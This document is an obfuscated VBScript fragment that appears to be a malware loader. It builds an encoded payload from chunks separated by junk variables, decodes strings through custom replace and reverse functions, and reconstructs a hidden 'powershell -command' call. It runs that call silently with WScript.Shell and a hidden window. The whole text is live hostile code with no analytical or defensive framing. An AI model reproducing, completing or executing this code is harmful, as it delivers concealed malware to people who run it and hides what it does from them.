Q" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
sBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
zBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
tBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
sBg" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
tBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
Q" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
zBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
uBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
4BQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
uBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
4BQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
4BQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
0Bw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
lBw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
4BQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
lBw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
4BQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
uBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
lBw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
UBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
lBw" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
uBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
zBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
iBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
w" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
yBQ" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
sBg" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
" & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt & KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd & "
euQcJWgWlhvjcOOWxcUqWOedCcJHNXvlOzaTODzOQkuZcqmcQfquKQkLqdmlKAfveyrhILYTyqWOPLWUzhWbAUWlSGtSOeUWwIOy = LljmHJrNkPcjsrCCCmCAcCWhrCHrUucJLPymCpLqRLpumoumRupTixLonhpOwyuLHUWDmmUmWnfjWWfdLsxaYpxOnLCAqLCjWIUK( euQcJWgWlhvjcOOWxcUqWOedCcJHNXvlOzaTODzOQkuZcqmcQfquKQkLqdmlKAfveyrhILYTyqWOPLWUzhWbAUWlSGtSOeUWwIOy, KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd + rNRrtKKZnxGWBZiXaraXNidSiXtGWnrjZDcWUrOweucuYUzYeoiBXJDICSxotZypeGjOMrTBwCGPNpGYOBJpUcJoZOcvKZaUeGTt + KcBaaOyMYPTtWxeSfafKLeJmpSaTBfcQdcwieKNLcrGycOQccYscMhBvbmMTNAYvJHpjHtBKWBwKWdwKNWhSWKhTPNMUPQfWygKd , "Z")
Function cTuDgrDWjrDWWPQlKcObLPCNOUHWGuAvWNRQSSeOatbJUOzULbkuOUONNJGNOUBRvvWbZucwBWuYonKWQWzyaLBvzmwKOhzjNeqb(input)
cTuDgrDWjrDWWPQlKcObLPCNOUHWGuAvWNRQSSeOatbJUOzULbkuOUONNJGNOUBRvvWbZucwBWuYonKWQWzyaLBvzmwKOhzjNeqb = StrReverse(input)
End Function
Function PNlTNdiZDixzQdXePGLWvrDeSAYULjUWWRNCgWUGUUmeQmldvPMKPuPeAUrMGrBeWNGWnBUypeAWAjTGCPmWdUOWWGdcBgcdPPcP(command)
Dim fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy, IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy
IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy = "*(!%()$)6()$#&%)$$@)-)&(%((|@/@)#
-%%@(@#(&)0*$
#2)@$6:!-(!&!#*)*#*()$)()&$@#@#
)%#(&$@(@@!ow(@
ll -co
&(-&(&
$(%/$(**#*@(#%&%
$@*@#4
((%$%$(
@%(*!%*!
@#&&*#
*($(&&%/@#@#%&$(%&%#*
$@&@@!
&(-&(&
$(%/$(**#*@(#%&%
$@*@#4
((%$%$(
@%(*!%*!
@#&&*#
*($(&&%/@#@#%&$(%&%#*
$@&@@!and " & command
IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy = BQGGGZEMDQ(IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy,"(@
","e")
IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy = BQGGGZEMDQ(IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy,"
&(-&(&
$(%/$(**#*@(#%&%
$@*@#4
((%$%$(
@%(*!%*!
@#&&*#
*($(&&%/@#@#%&$(%&%#*
$@&@@!","m")
IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy = BQGGGZEMDQ(IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy,"*(!%()$)6()$#&%)$$@)-)&(%((|@/@)#
-%%@(@#(&)0*$
#2)@$6:!-(!&!#*)*#*()$)()&$@#@#
)%#(&$@(@@!","p")
Set fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy = CreateObject("WScript.Shell")
fJbslWvpZvkCbGtWOsySOtqWkklrNUkXRvtGtWkLzvRDUqvUziDMwkGyeWgIqAivqKhmcIYGyeWRqLWWkvddDqdIQaDjSdyGvhzy.Run IiGRPWcGhHYtHUNvORgqjNPUbIPUNjYGIXUHNnGUuBuDLbPLuuiUSgsXOUsDpAuvPmWzckYHyOWIULWmGHtTWmtDrdXtbvgNLPcy, 0, False
End Function
Function BQGGGZEMDQ(LYSLTCESBM, find, ABIEWDRERR)
Dim YCIIHBIKLD, QCZPJLEPSE, HCCEXAHBJD
YCIIHBIKLD = Len(LYSLTCESBM)
QCZPJLEPSE = Len(find)
HCCEXAHBJD = Len(ABIEWDRERR)
Dim HZULRIQJES()
ReDim HZULRIQJES(YCIIHBIKLD)
Dim i, j
i = 1
j = 0
Do While i <= YCIIHBIKLD
If Mid(LYSLTCESBM, i, QCZPJLEPSE) = find Then
For k = 1 To HCCEXAHBJD
HZULRIQJES(j) = Mid(ABIEWDRERR, k, 1)
j = j + 1
Next
i = i + QCZPJLEPSE
Else
HZULRIQJES(j) = Mid(LYSLTCESBM, i, 1)
i = i + 1
j = j + 1
End If
Loop
Dim UUGYVXBTUK
UUGYVXBTUK = ""
For i = 0 To j - 1
UUGYVXBTUK = UUGYVXBTUK & HZULRIQJES(i)
Next
BQGGGZEMDQ = UUGYVXBTUK
End Function
